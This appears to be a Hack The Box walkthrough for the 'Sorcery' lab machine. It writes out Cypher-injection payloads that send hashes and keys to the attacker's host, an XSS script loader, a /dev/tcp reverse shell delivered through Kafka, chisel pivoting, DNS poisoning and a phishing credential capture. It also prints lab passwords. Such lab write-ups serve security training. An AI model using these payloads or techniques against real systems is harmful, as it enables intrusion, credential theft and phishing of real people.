Hack The Box / LINUX / 2026-04-25
Hack The Box — Sorcery (Linux)
Cypher injection in a Next.js shop leaks credentials, XSS + WebAuthn abuse yields an admin token, Kafka RCE via debug leads to a container foothold, and a multi-stage LDAP/FreeIPA path ends in root.
Target
- IP:
10.10.11.73
Port Scan
sudo nmap -sC -sV 10.10.11.73 -p- -T5 -v
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 79:93:55:91:2d:1e:7d:ff:f5:da:d9:8e:68:cb:10:b9 (ECDSA)
|_ 256 97:b6:72:9c:39:a9:6c:dc:01:ab:3e:aa:ff:cc:13:4a (ED25519)
443/tcp open https nginx/1.27.1
|_ssl-date: TLS randomness does not represent time
|_http-server-header: nginx/1.27.1
| tls-alpn:
| http/1.1
| http/1.0
|_ http/0.9
| ssl-cert: Subject: commonName=sorcery.htb
| Issuer: commonName=Sorcery Root CA
| Public Key type: rsa
| Public Key bits: 4096
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2024-10-31T02:09:11
| Not valid after: 2052-03-18T02:09:11
| MD5: c294:7d7a:2965:5c32:3dc9:b850:e2e5:0d9a
|_SHA-1: 9d44:6d3d:5fb6:252c:da8b:3dd1:b5a2:aeb3:1e4b:5534
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Add sorcery.htb to /etc/hosts.
Browse to https://sorcery.htb/.
There is a login form.
The response headers show it is a Next.js app.
There is also a repository link: https://git.sorcery.htb/nicole_sullivan/infrastructure.
Add git.sorcery.htb to /etc/hosts and open it.
It's Gitea, version 1.22.1.
Clone the repo:
git -c http.sslVerify=false clone https://git.sorcery.htb/nicole_sullivan/infrastructure.git
Cypher Injection in the Store
There is a Cypher injection in the store product view.
The “mystic elixirs” product has id 88b6b6c5-a614-486c-9d51-d255f47efb4f.
Example request (returns product description):
https://sorcery.htb/dashboard/store/88b6b6c5-a614-486c-9d51-d255f47efb4f%22%20%7D)%20RETURN%20result%20%2f%2f%20
Start a local listener to catch exfiltrated data:
python3 -m http.server 8000
Register any user, then log in.
Enumerate labels
Query:
88b6b6c5-a614-486c-9d51-d255f47efb4f" }) CALL db.labels() YIELD label AS d LOAD CSV FROM "http://10.10.14.252:8000/?c="+ d AS line RETURN result //
URL:
https://sorcery.htb/dashboard/store/88b6b6c5%2Da614%2D486c%2D9d51%2Dd255f47efb4f%22%20%7D%29%20CALL%20db.labels%28%29%20YIELD%20label%20AS%20d%20LOAD%20CSV%20FROM%20%22http%3A%2F%2F10.10.14.252%3A8000%2F%3Fc%3D%22%2B%20d%20AS%20line%20RETURN%20result%20%2F%2F%20
Result (from our HTTP server):
10.129.168.19 - - [17/Jun/2025 21:35:44] "GET /?c=Config HTTP/1.1" 200 -
10.129.168.19 - - [17/Jun/2025 21:35:44] "GET /?c=User HTTP/1.1" 200 -
10.129.168.19 - - [17/Jun/2025 21:35:45] "GET /?c=Post HTTP/1.1" 200 -
10.129.168.19 - - [17/Jun/2025 21:35:45] "GET /?c=Product HTTP/1.1" 200 -
Dump user hashes
Query:
88b6b6c5-a614-486c-9d51-d255f47efb4f" }) MATCH (u:User) LOAD CSV FROM "http://10.10.14.252:8000/?c="+ u.username + ':' + u.password AS line RETURN result //
URL:
https://sorcery.htb/dashboard/store/88b6b6c5%2Da614%2D486c%2D9d51%2Dd255f47efb4f%22%20%7D%29%20MATCH%20%28u%3AUser%29%20LOAD%20CSV%20FROM%20%22http%3A%2F%2F10.10.14.252%3A8000%2F%3Fc%3D%22%2B%20u.username%20%2B%20%27%3A%27%20%2B%20u.password%20AS%20line%20RETURN%20result%20%2F%2F%20
Result:
10.129.168.19 - - [17/Jun/2025 21:52:18] "GET /?c=admin:$argon2id$v=19$m=19456,t=2,p=1$T+K9waOashQqEOcDljfe5Q$X5Yul0HakDZrbkEDxnfn2KYJv/BdaFsXn7xNwS1ab8E HTTP/1.1" 200 -
10.129.168.19 - - [17/Jun/2025 21:52:18] "GET /?c=test12:$argon2id$v=19$m=19456,t=2,p=1$67wvOlidsVh7NhsJCwE+uQ$TmuPzNqQwNMac0lFECnOyvuBrojrrZ4jZXlyRar/Yyw HTTP/1.1" 200 -
test12 is the user I registered.
Try cracking the admin hash:
./john/run/john --wordlist=rockyou.txt --format=argon2-opencl ./hash
It does not crack.
Read the registration key
From source code, Config is:
#[derive(Deserialize, Model)]
struct Config {
is_initialized: bool,
registration_key: String,
}
So we can extract registration_key.
Query:
88b6b6c5-a614-486c-9d51-d255f47efb4f" }) MATCH (c:Config) LOAD CSV FROM "http://10.10.14.76:8000/?c="+ c.registration_key AS line RETURN result //
URL:
https://sorcery.htb/dashboard/store/88b6b6c5%2Da614%2D486c%2D9d51%2Dd255f47efb4f%22%20%7D%29%20MATCH%20%28c%3AConfig%29%20LOAD%20CSV%20FROM%20%22http%3A%2F%2F10%2E10%2E14%2E76%3A8000%2F%3Fc%3D%22%2B%20c%2Eregistration%5Fkey%20AS%20line%20RETURN%20result%20%2F%2F%20
Result:
10.10.11.73 - - [19/Jun/2025 12:01:02] "GET /?c=dd05d743-b560-45dc-9a09-43ab18c7a513 HTTP/1.1" 200 -
Registration key: dd05d743-b560-45dc-9a09-43ab18c7a513.
Use it in the registration form to create a seller account, then log in.
XSS to Admin WebAuthn Registration
As a seller, we can add products and control the description. The description is vulnerable to XSS.
Test payload:
<script>alert(1)</script>
The alert fires when viewing the product.
From source code: after we insert a product, the admin visits the product page. Using this payload, our server receives a request from the target:
<script src="http://10.10.14.76:8000/a.js"></script>
The admin cookie is HttpOnly, so we cannot steal it directly.
However, the cookie is created by the frontend with a JWT:
let token = encode(
&Header::default(),
&claim,
&EncodingKey::from_secret(JWT_SECRET.as_bytes()),
)
.unwrap();
[...]
tab.set_cookies(vec![CookieParam {
name: "token".to_string(),
value: token,
url: Some(INTERNAL_FRONTEND.clone()),
domain: None,
path: None,
secure: None,
http_only: Some(true),
same_site: None,
expires: None,
priority: None,
same_party: None,
source_scheme: None,
source_port: None,
partition_key: None,
}])
.unwrap();
The JWT claims are:
let user = User::get_by_username("admin".to_string()).await.unwrap();
let claim = UserClaims {
id: user.id,
username: user.username.to_owned(),
privilege_level: user.privilege_level,
with_passkey: true,
only_for_paths: Some(vec![
r"^\/api\/product\/[a-zA-Z0-9-]+$".to_string(),
r"^\/api\/webauthn\/passkey\/register\/start$".to_string(),
r"^\/api\/webauthn\/passkey\/register\/finish$".to_string(),
]),
exp: SystemTime::now()
.add(Duration::from_secs(60))
.duration_since(UNIX_EPOCH)
.unwrap()
.as_secs() as usize,
};
So the cookie is valid only for:
^/api/product/[a-zA-Z0-9-]+$
^/api/webauthn/passkey/register/start$
^/api/webauthn/passkey/register/finish$
register/start and register/finish are interesting.
The profile page triggers register/start when we enroll a passkey.
We need to trigger a POST to /dashboard/profile to start the registration.
In Next.js, each action has a non-guessable Next-Action id, set at build time.
We can capture it from our browser.
As the seller, go to profile, click Enroll passkey, and capture the request in DevTools.
The Next-Action header is:
062f18334e477c66c7bf63928ee38e241132fabc
We can use XSS to force admin to send a POST to /dashboard/profile with this Next-Action.
That will return the WebAuthn challenge (from register/start).
We then exfiltrate the response back to us.
Example challenge:
{"publicKey": {"rp": {"name": "sorcery.htb", "id": "sorcery.htb"}, "user": {"id": "LZ8Nngk1SfOvzSmr00JwEQ", "name": "admin", "displayName": "admin"}, "challenge": "jJfeaxY7r2S4JdADjw0txOI5cti4sRWEP3ELjd3ZD7M", "pubKeyCredParams": [{"type": "public-key", "alg": -7}, {"type": "public-key", "alg": -257}], "timeout": 300000, "authenticatorSelection": {"residentKey": "discouraged", "requireResidentKey": false, "userVerification": "required"}, "attestation": "none", "extensions": {"credentialProtectionPolicy": "userVerificationRequired", "enforceCredentialProtectionPolicy": false, "uvm": true, "credProps": true}}}
We need a WebAuthn emulator. I used soft-webauthn:
https://github.com/bodik/soft-webauthn
I modified the soft_webauthn.py script, so see the attached script soft_webauthn.py.
In particular, since in the challenge there is "userVerification": "required", I had to activate the user verified bit in the flags:
flags = b'\x45' # attested_data + user_present + user_verified
[...]
flags = b'\x05' # user_present + user_verified
We can use this library to read the challenge and get the credentials, which are called attestation. Then we need to call the register/finish endpoint to complete the registration.
Find finishRegistration action id
The profile page has an action finishRegistration that calls register/finish.
We need the Next-Action id for that.
Because we have the source and docker_compose.yml, I started the stack locally to inspect it.
I had to remove Kafka usage to make it run.
Start the services:
docker compose up backend frontend neo4j
Get a shell:
docker compose exec frontend bash
In /app/.next/server/server-reference-manifest.json, the action ids appear:
{"node":{"6cb183af7370fc0b0a2f6bff3ecc11f9d1bff056":{"workers":{"app/page":"8188","app/dashboard/debug/page":"2985","app/dashboard/dns/page":"2985","app/dashboard/page":"2985","app/dashboard/blog/page":"2985","app/dashboard/store/[product]/page":"2985","app/dashboard/profile/page":"3550","app/dashboard/new-product/page":"2985","app/dashboard/store/page":"9072"},"layer":{"app/page":"rsc","app/dashboard/debug/page":"rsc","app/dashboard/dns/page":"rsc","app/dashboard/page":"rsc","app/dashboard/blog/page":"rsc","app/dashboard/store/[product]/page":"rsc","app/dashboard/profile/page":"rsc","app/dashboard/new-product/page":"rsc","app/dashboard/store/page":"rsc"}},"d0872ddc9b09d8ab4ef3c1bf5c676b2db1e88472":{"workers":{"app/page":"8188","app/dashboard/debug/page":"2985","app/dashboard/dns/page":"2985","app/dashboard/page":"2985","app/dashboard/blog/page":"2985","app/dashboard/store/[product]/page":"2985","app/dashboard/profile/page":"3550","app/dashboard/new-product/page":"2985","app/dashboard/store/page":"9072"},"layer":{"app/page":"rsc","app/dashboard/debug/page":"rsc","app/dashboard/dns/page":"rsc","app/dashboard/page":"rsc","app/dashboard/blog/page":"rsc","app/dashboard/store/[product]/page":"rsc","app/dashboard/profile/page":"rsc","app/dashboard/new-product/page":"rsc","app/dashboard/store/page":"rsc"}},"d900d949d741f46bf73ff5e57728f0f2c88cfd5a":{"workers":{"app/page":"8188","app/dashboard/debug/page":"2985","app/dashboard/dns/page":"2985","app/dashboard/page":"2985","app/dashboard/blog/page":"2985","app/dashboard/store/[product]/page":"2985","app/dashboard/profile/page":"3550","app/dashboard/new-product/page":"2985","app/dashboard/store/page":"9072","app/auth/login/page":"702","app/auth/passkey/page":"702"},"layer":{"app/page":"rsc","app/dashboard/debug/page":"rsc","app/dashboard/dns/page":"rsc","app/dashboard/page":"rsc","app/dashboard/blog/page":"rsc","app/dashboard/store/[product]/page":"rsc","app/dashboard/profile/page":"rsc","app/dashboard/new-product/page":"rsc","app/dashboard/store/page":"rsc","app/auth/login/page":"action-browser","app/auth/passkey/page":"action-browser"}},"5efb143c86eee119929a7a8b1e0a11d87b6a9e64":{"workers":{"app/dashboard/debug/page":"2985","app/dashboard/dns/page":"2985","app/dashboard/page":"2985","app/dashboard/blog/page":"2985","app/dashboard/store/[product]/page":"2985","app/dashboard/profile/page":"3550","app/dashboard/new-product/page":"2985","app/dashboard/store/page":"9072"},"layer":{"app/dashboard/debug/page":"rsc","app/dashboard/dns/page":"rsc","app/dashboard/page":"rsc","app/dashboard/blog/page":"rsc","app/dashboard/store/[product]/page":"rsc","app/dashboard/profile/page":"rsc","app/dashboard/new-product/page":"rsc","app/dashboard/store/page":"rsc"}},"78c48ced308619e6839bbf4e251a4e5da5c6b331":{"workers":{"app/dashboard/debug/page":"2985","app/dashboard/dns/page":"2985","app/dashboard/page":"2985","app/dashboard/blog/page":"2985","app/dashboard/store/[product]/page":"2985","app/dashboard/profile/page":"3550","app/dashboard/new-product/page":"2985","app/dashboard/store/page":"9072"},"layer":{"app/dashboard/debug/page":"rsc","app/dashboard/dns/page":"rsc","app/dashboard/page":"rsc","app/dashboard/blog/page":"rsc","app/dashboard/store/[product]/page":"rsc","app/dashboard/profile/page":"rsc","app/dashboard/new-product/page":"rsc","app/dashboard/store/page":"rsc"}},"913fd97896c8973ee1bfd0a4fe558e0a60445092":{"workers":{"app/dashboard/debug/page":"2985","app/dashboard/dns/page":"2985","app/dashboard/page":"2985","app/dashboard/blog/page":"2985","app/dashboard/store/[product]/page":"2985","app/dashboard/profile/page":"3550","app/dashboard/new-product/page":"2985","app/dashboard/store/page":"9072"},"layer":{"app/dashboard/debug/page":"rsc","app/dashboard/dns/page":"rsc","app/dashboard/page":"rsc","app/dashboard/blog/page":"rsc","app/dashboard/store/[product]/page":"rsc","app/dashboard/profile/page":"rsc","app/dashboard/new-product/page":"rsc","app/dashboard/store/page":"rsc"}},"3331c62da6cb9f4918cb94090299151e3b80dc53":{"workers":{"app/dashboard/debug/page":"2985","app/dashboard/dns/page":"2985","app/dashboard/page":"2985","app/dashboard/blog/page":"2985","app/dashboard/store/[product]/page":"2985","app/dashboard/profile/page":"3550","app/dashboard/new-product/page":"2985","app/dashboard/store/page":"9072"},"layer":{"app/dashboard/debug/page":"rsc","app/dashboard/dns/page":"rsc","app/dashboard/page":"rsc","app/dashboard/blog/page":"rsc","app/dashboard/store/[product]/page":"rsc","app/dashboard/profile/page":"rsc","app/dashboard/new-product/page":"rsc","app/dashboard/store/page":"rsc"}},"062f18334e477c66c7bf63928ee38e241132fabc":{"workers":{"app/dashboard/profile/page":"3550"},"layer":{"app/dashboard/profile/page":"rsc"}},"343f2024ab867ea53d4ee982ecfff51b80bdd1ce":{"workers":{"app/dashboard/profile/page":"3550"},"layer":{"app/dashboard/profile/page":"rsc"}},"60971a2b6b26a212882926296f31a1c6d7373dfa":{"workers":{"app/dashboard/profile/page":"3550"},"layer":{"app/dashboard/profile/page":"rsc"}},"9cccb51ffdadfd5ced533b682ba0c555e0552e37":{"workers":{"app/dashboard/store/page":"9072"},"layer":{"app/dashboard/store/page":"rsc"}},"1efff30d879f3aea7d899128311edf11046f4a10":{"workers":{"app/auth/login/page":"702","app/auth/passkey/page":"702"},"layer":{"app/auth/login/page":"action-browser","app/auth/passkey/page":"action-browser"}},"5aa9f80bc40bd5a48cfafdb9fff8913dfa09619f":{"workers":{"app/auth/login/page":"702","app/auth/passkey/page":"702"},"layer":{"app/auth/login/page":"action-browser","app/auth/passkey/page":"action-browser"}},"7abc1d84ff816e8d6965b2132e8011685a8c9917":{"workers":{"app/auth/login/page":"702","app/auth/passkey/page":"702"},"layer":{"app/auth/login/page":"action-browser","app/auth/passkey/page":"action-browser"}},"99cc053db6c8902cbccf05efda80ea0306624c56":{"workers":{"app/dashboard/debug/page":"6133"},"layer":{"app/dashboard/debug/page":"action-browser"}},"02ee8128e7e3dfd13e32bcaf0e59d26c79e44651":{"workers":{"app/dashboard/dns/page":"9014"},"layer":{"app/dashboard/dns/page":"action-browser"}},"e43c0e68ecc317131dbfa2479dcbffc95b724cc4":{"workers":{"app/dashboard/new-product/page":"5657"},"layer":{"app/dashboard/new-product/page":"action-browser"}},"cc5a75671722b7fa3634cb7cc01d2022f9d19e5b":{"workers":{"app/auth/register/page":"4637"},"layer":{"app/auth/register/page":"action-browser"}}},"edge":{},"encryptionKey":"c5E98gI7dn2p1LoG2GsbDv6skLDvHi1mrCrk/qXHplM="}
With some trial and error, the finishRegistration action is:
e43c0e68ecc317131dbfa2479dcbffc95b724cc4
Send the attestation via XSS with that Next-Action, and the passkey is registered.
Authenticate as Admin with Passkey
We need /auth/passkey to start authentication (WebAuthn /authenticate/start).
The Next-Action for start auth is:
1efff30d879f3aea7d899128311edf11046f4a10
You can also grab it from DevTools by logging out, then going to Passkey login.
Trigger it with curl:
curl -X POST 'https://sorcery.htb/auth/passkey' -H 'Content-Type: text/plain;charset=UTF-8' -H 'Next-Action: 1efff30d879f3aea7d899128311edf11046f4a10' -d '["admin"]' -k -v
Response:
{"result":{"challenge":{"publicKey":{"challenge":"sft2BAf8XsMg1MecZaN4l-68zTbN-eyJ-BIyfHgfj2g","timeout":300000,"rpId":"sorcery.htb","allowCredentials":[{"type":"public-key","id":"mi-kT14gkudikmrdIeG40uwH5SfJ4Z_UpAEvvJiQfUg"}],"userVerification":"required"}}}}
We can feed this challenge to the WebAuthn emulator and we generate the so called assertion.
We need to send the assertion to the endpoint webauthn/passkey/authenticate/finish of the backend.
We see that the endpoint /auth/passkey of the frontend has an action finishAuthentication that calls the backend endpoint. The Next-action id of this action is:
5aa9f80bc40bd5a48cfafdb9fff8913dfa09619f
Send the assertion using that Next-Action and you should receive a valid admin JWT.
See the exp.py script and its helper files for the full automation.
Set the token as the token cookie in the browser and open https://sorcery.htb/dashboard/profile.
We are now the admin and new sections (DNS and Debug) are unlocked.
Debug Feature and FTP Note
The Debug tool can send raw packets to any host/port.
Payloads must be hex-encoded.
We can also read the response.
We can send multiple chunks (for example "ab", "cd") and keep the connection alive for 60 seconds after the last chunk.
NOTE: FTP interaction is described here but ended up unnecessary
From docker-compose.yml, there is an FTP server with volumes:
volumes:
- "./ftp/pub:/var/ftp/pub"
- "./certificates/generated/RootCA.crt:/var/ftp/pub/RootCA.crt"
- "./certificates/generated/RootCA.key:/var/ftp/pub/RootCA.key"
Anonymous auth is enabled, so we can browse /var/ftp/pub.
To learn the exact FTP wire format, run a local copy and capture traffic:
docker run -p 20-21:20-21 -p 21100-21110:21100-21110 -e ANONYMOUS_ACCESS=true -e LOG_STDOUT=true -it million12/vsftpd:cd94636
Open Wireshark, connect with FTP, and list files:
ftp 127.0.0.1
dir
Then use the Debug feature to replay those commands to the target FTP server.
I automated this in test_ftp.py.
It shows two files in pub: RootCA.key and RootCA.crt.
We can download them, but the private key is encrypted.
Kafka RCE via Debug
The DNS service source code (from the repo) is important:
dotenv::dotenv().ok();
let broker = std::env::var("KAFKA_BROKER").expect("KAFKA_BROKER");
let topic = "update".to_string();
let group = "update".to_string();
let mut consumer = Consumer::from_hosts(vec![broker.clone()])
.with_topic(topic)
.with_group(group)
.with_fallback_offset(FetchOffset::Earliest)
.with_offset_storage(Some(GroupOffsetStorage::Kafka))
.create()
.expect("Kafka consumer");
let mut producer = Producer::from_hosts(vec![broker])
.with_ack_timeout(Duration::from_secs(1))
.with_required_acks(RequiredAcks::One)
.create()
.expect("Kafka producer");
println!("[+] Started consumer");
loop {
let Ok(message_sets) = consumer.poll() else {
continue;
};
for message_set in message_sets.iter() {
for message in message_set.messages() {
let Ok(command) = str::from_utf8(message.value) else {
continue;
};
println!("[*] Got new command: {}", command);
let mut process = match Command::new("bash").arg("-c").arg(command).spawn() {
Ok(process) => process,
Err(error) => {
println!("[-] {error}");
continue;
}
};
The consumer reads from topic update and executes each message via bash -c.
So if we can publish messages to Kafka, we get RCE.
We can do it through the Debug feature, but we need the exact Kafka binary payload.
To learn the format, set up Kafka locally and capture it.
Quickstart: https://kafka.apache.org/quickstart.
Use the same cluster id as the target:
KAFKA_CLUSTER_ID="pXWI6g0JROm4f-1iZ_YH0Q"
Start Kafka:
bin/kafka-storage.sh format --standalone -t $KAFKA_CLUSTER_ID -c config/server.properties
bin/kafka-server-start.sh config/server.properties
bin/kafka-topics.sh --create --topic update --bootstrap-server localhost:9092
Capture the traffic on loopback and send a message:
echo 'bash -i >& /dev/tcp/10.10.14.207/4444 0>&1' | kcat -b localhost:9092 -t update
In Wireshark, filter kafka, then follow the TCP stream to 127.0.0.1:9092 and save it to data.
Start a listener:
nc -vlnp 4444
Use test_kafka.py to read data, convert to hex, and send to the target Kafka via Debug.
Replace the token with the admin token from exp.py.
python3 test_kafka.py
We get a reverse shell.
----- NOTE -----
To test Kafka inside the container:
/opt/kafka/bin/kafka-console-producer.sh --topic update --bootstrap-server kafka:9092
/opt/kafka/bin/kafka-console-consumer.sh --topic update --from-beginning --bootstrap-server kafka:9092
DNS Container Post-Exploitation
We land in the DNS container.
cd /dns
ls -la
drwxr-xr-x 1 user user 4096 Apr 28 12:07 .
drwxr-xr-x 1 root root 4096 Apr 28 12:07 ..
-rwxr-xr-x 1 root root 364 Aug 31 2024 convert.sh
-rwxr--r-- 1 user user 624 Jul 12 23:27 entries
-rw-r--r-- 1 root root 624 Jul 11 04:03 hosts
We can edit entries.
Upload tools to the container
Start a local HTTP server:
python3 -m http.server 7777
Download static curl:
https://github.com/moparisthebest/static-curl/releases/latest/download/curl-amd64
Fetch it from the container using Python:
echo 'import urllib.request
import sys
file = sys.argv[1]
url = f"http://10.10.14.207:7777/{file}"
urllib.request.urlretrieve(url, file)' > download_file.py
python3 download_file.py curl
We could then pull files from FTP like this:
./curl ftp://ftp/pub/RootCA.key
./curl ftp://ftp/pub/RootCA.crt
But the private key is encrypted.
Phishing to Capture Tom’s Credentials
As admin, open https://sorcery.htb/dashboard/blog and read the posts:
Phishing Training
Hello, just making a quick summary of the phishing training we had last week. Remember not to open any link in the email unless: a) the link comes from one of our domains (<something>.sorcery.htb); b) the website uses HTTPS; c) the subdomain uses our root CA. (the private key is safely stored on our FTP server, so it can't be hacked).
Phishing awareness
There has been a phishing campaign that used our Gitea instance. All of our employees except one (looking at you, @tom_summers) have passed the test. Unfortunately, Tom has entered their credentials, but our infosec team quickly revoked the access and changed the password. Tom, make sure that doesn't happen again! Follow the rules in the other post!
From docker-compose.yml, there is a mail service:
mail:
restart: always
image: mailhog/mailhog:v1.0.1
It is MailHog (view at http://localhost:8025/ after forwarding).
There is also a mail_bot service.
We can send Tom an HTTPS link using a subdomain of sorcery.htb signed by the root CA.
But we do not know the CA passphrase.
Cracking the key fails:
pem2john RootCA.key
./hashcat-6.2.6/hashcat.bin -a 0 ./hash ./rockyou.txt
Instead, we leverage the existing nginx container that already has the correct cert.
It redirects to https://sorcery.htb/, so we can hijack DNS in our compromised container.
Pivot MailHog to our host
Use chisel to forward internal services:
./chisel server --port 8000 --reverse
On the container:
./chisel client http://10.10.14.207:8000 R:127.0.0.1:8025:mail:8025 R:127.0.0.1:1025:mail:1025 R:127.0.0.1:9092:kafka:9092 R:127.0.0.1:9093:kafka:9093
Now open http://localhost:8025/ to view MailHog.
Verify DNS control
Send a test mail from the container:
python3 -c "
import smtplib
from email.message import EmailMessage
msg = EmailMessage()
msg.set_content('https://test.sorcery.htb:9999/pwnd')
msg['Subject'] = 'Subject from Python'
msg['From'] = 'sender@example.com'
msg['To'] = 'tom_summers@sorcery.htb'
s = smtplib.SMTP('mail', 1025)
s.send_message(msg)
s.quit()
"
Or via swaks from our host (because we forwarded port 1025):
swaks --to tom_summers@sorcery.htb --from sender@example.com --header "Subject: test" --body 'https://test.sorcery.htb:9999/pwnd' --server localhost:1025
MailHog shows a reply from Tom:
https://test.sorcery.htb:9999/pwnd is not signed by our CA.
So Tom opens the link and checks the TLS chain.
The DNS container runs dnsmasq:
/usr/sbin/dnsmasq --no-daemon --addn-hosts /dns/hosts-user --addn-hosts /dns/hosts
We can edit /dns/hosts and /dns/hosts-user.
Start a listener:
nc -vlnp 9999
Add a subdomain to /dns/hosts:
10.10.14.207 test.sorcery.htb
Restart dnsmasq:
killall dnsmasq
/usr/sbin/dnsmasq --no-daemon --addn-hosts /dns/hosts-user --addn-hosts /dns/hosts &
Send another email:
swaks --to tom_summers@sorcery.htb --from user@example.com --header "Subject: test" --body 'https://test.sorcery.htb:9999/pwnd' --server localhost:1025
We get a connection in netcat, so the bot is using our DNS.
Abuse nginx redirect to pass TLS check
We cannot use the encrypted CA key, but the nginx container already has the correct cert.
It redirects to https://sorcery.htb/, so we can poison DNS like this:
172.19.0.6 test.sorcery.htb
10.10.14.207 sorcery.htb
172.19.0.6 is the nginx container, which redirects to sorcery.htb.
We then point sorcery.htb to our server.
Restart dnsmasq again:
killall dnsmasq
/usr/sbin/dnsmasq --no-daemon --addn-hosts /dns/hosts-user --addn-hosts /dns/hosts &
On the attacker:
openssl req -newkey rsa:4096 -nodes -keyout my.key -x509 -days 365 -out my.crt
Use the test_flask_https.py script to run HTTPS.
We need to mimic the Gitea login form.
Open https://git.sorcery.htb, click Sign In, view source, and copy the form.
Use gitea_login.html (an HTML form that POSTs to /test and logs the POST data).
Send the phishing email:
swaks --to tom_summers@sorcery.htb --from user@example.com --header "Subject: test" --body 'https://test.sorcery.htb/login' --server localhost:1025
MailHog shows Tom’s response:
Okay, I will sign in on https://test.sorcery.htb/pwnd. Thanks!
Flask prints:
ImmutableMultiDict([('_csrf', 'ol8DwFch-xw3ECvcvZ6jhU-9oKM6MTc1MjQ0NDMyNTE0ODc0NjQ2Mg'), ('user_name', 'tom_summers'), ('password', 'jNsMKQ6k2.XDMPu.')])
Credentials:
tom_summers jNsMKQ6k2.XDMPu.
SSH as Tom
ssh tom_summers@sorcery.htb
Check listening services:
ss -ltpn
State Recv-Q Send-Q Local Address:Port Peer Address:Port Process
LISTEN 0 4096 0.0.0.0:443 0.0.0.0:*
LISTEN 0 4096 127.0.0.1:5000 0.0.0.0:*
LISTEN 0 4096 127.0.0.1:636 0.0.0.0:*
LISTEN 0 4096 127.0.0.1:464 0.0.0.0:*
LISTEN 0 4096 127.0.0.1:389 0.0.0.0:*
LISTEN 0 4096 127.0.0.1:88 0.0.0.0:*
LISTEN 0 4096 127.0.0.54:53 0.0.0.0:*
LISTEN 0 4096 127.0.0.53%lo:53 0.0.0.0:*
LISTEN 0 4096 *:22 *:*
LISTEN 0 4096 [::]:443 [::]:*
We see Kerberos (88) and LDAP (389). It is FreeIPA.
cat /etc/ipa/default.conf
#File modified by ipa-client-install
[global]
basedn = dc=sorcery,dc=htb
realm = SORCERY.HTB
domain = sorcery.htb
server = dc01.sorcery.htb
host = main.sorcery.htb
xmlrpc_uri = https://dc01.sorcery.htb/ipa/xml
enable_ra = True
The host is main.sorcery.htb, and another host is dc01.sorcery.htb.
host dc01.sorcery.htb
dc01.sorcery.htb has address 172.23.0.2
Upload static nmap (from https://github.com/andrew-d/static-binaries/raw/refs/heads/master/binaries/linux/x86_64/nmap) and scan:
./nmap dc01.sorcery.htb -p- -T5
PORT STATE SERVICE
80/tcp open http
88/tcp open kerberos
389/tcp open ldap
443/tcp open https
464/tcp open kpasswd
636/tcp open ldaps
749/tcp open kerberos-adm
8080/tcp open http-alt
8443/tcp open unknown
List users:
ls -la /home
drwxr-x--- 5 rebecca_smith rebecca_smith 4096 Jul 15 11:34 rebecca_smith
drwxr-x--- 3 tom_summers tom_summers 4096 Apr 28 12:07 tom_summers
drwxr-x--- 5 tom_summers_admin tom_summers_admin 4096 Oct 30 2024 tom_summers_admin
drwxr-x--- 4 user user 4096 Apr 28 11:37 user
drwxr-x--- 5 vagrant vagrant 4096 Oct 30 2024 vagrant
LDAP queries are allowed without credentials:
ldapsearch -x -H ldap://127.0.0.1 -b "DC=sorcery,DC=htb"
We see admin, ash_winter, and donna_adams.
Credentials from Xvfb Screenshot
Look for Tom’s admin cron process:
ps ax o user:30,pid,pcpu,pmem,vsz,rss,stat,start_time,time,cmd | grep tom_summers_admin
tom_summers_admin 1462 0.0 0.0 2800 1536 Ss 04:01 00:00:00 /bin/sh -c /provision/cron/tom_summers_admin/text-editor.sh
tom_summers_admin 1467 0.0 0.0 4752 3200 S 04:01 00:00:00 /bin/bash /provision/cron/tom_summers_admin/text-editor.sh
tom_summers_admin 1474 0.0 1.1 626644 91408 Sl 04:01 00:00:00 /usr/bin/mousepad /provision/cron/tom_summers_admin/passwords.txt
tom_summers_admin 1475 0.0 0.7 227012 60732 S 04:01 00:00:00 /usr/bin/Xvfb :1 -fbdir /xorg/xvfb -screen 0 512x256x24 -nolisten local
The Xvfb framebuffer is in /xorg/xvfb:
ls -la /xorg/xvfb
total 524
drwxr-xr-x 2 tom_summers_admin tom_summers_admin 4096 Jul 14 04:01 .
drwxr-xr-x 3 root root 4096 Apr 28 12:07 ..
-rwxr--r-- 1 tom_summers_admin tom_summers_admin 527520 Jul 14 04:01 Xvfb_screen0
Copy Xvfb_screen0 to your machine and open it:
xwud -in Xvfb_screen0
The image shows credentials:
username: tom_summers_admin
password: dWpuk7cesBjT-
SSH in:
ssh tom_summers_admin@10.10.11.73
Run sudo:
sudo -l
Matching Defaults entries for tom_summers_admin on localhost:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User tom_summers_admin may run the following commands on localhost:
(rebecca_smith) NOPASSWD: /usr/bin/docker login
(rebecca_smith) NOPASSWD: /usr/bin/strace -s 128 -p [0-9]*
Find files owned by rebecca_smith:
find / -user rebecca_smith 2> /dev/null
Notice /usr/bin/docker-credential-docker-auth:
ls -la /usr/bin/docker-credential-docker-auth
-rwxr-x--- 1 rebecca_smith tom_summers_admin 67189841 Apr 6 13:58 /usr/bin/docker-credential-docker-auth
Try docker login as rebecca:
sudo -u rebecca_smith /usr/bin/docker login
This account might be protected by two-factor authentication
In case login fails, try logging in with <password><otp>
Authenticating with existing credentials... [Username: rebecca_smith]
i Info → To login with a different account, run 'docker logout' followed by 'docker login'
Login did not succeed, error: permission denied while trying to connect to the Docker daemon socket at unix:///var/run/docker.sock: Post "http://%2Fvar%2Frun%2Fdocker.sock/v1.50/auth": dial unix /var/run/docker.sock: connect: permission denied
Failed to start web-based login - falling back to command line login...
Log in with your Docker ID or email address to push and pull images from Docker Hub. If you don't have a Docker ID, head over to https://hub.docker.com/ to create one.
You can log in with your password or a Personal Access Token (PAT). Using a limited-scope PAT grants better security and is required for organizations using SSO. Learn more at https://docs.docker.com/go/access-tokens/
Username (rebecca_smith):
The Docker client delegates credentials to docker-credential-docker-auth.
We can read and execute this binary.
Extract credentials from docker-credential-docker-auth
Copy the binary to the attacking machine and inspect it:
file docker-credential-docker-auth
docker-credential-docker-auth: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=80b42387c3bddabffe562898e3136c7d5958ac38, stripped
Ghidra shows it is a self-contained .NET binary.
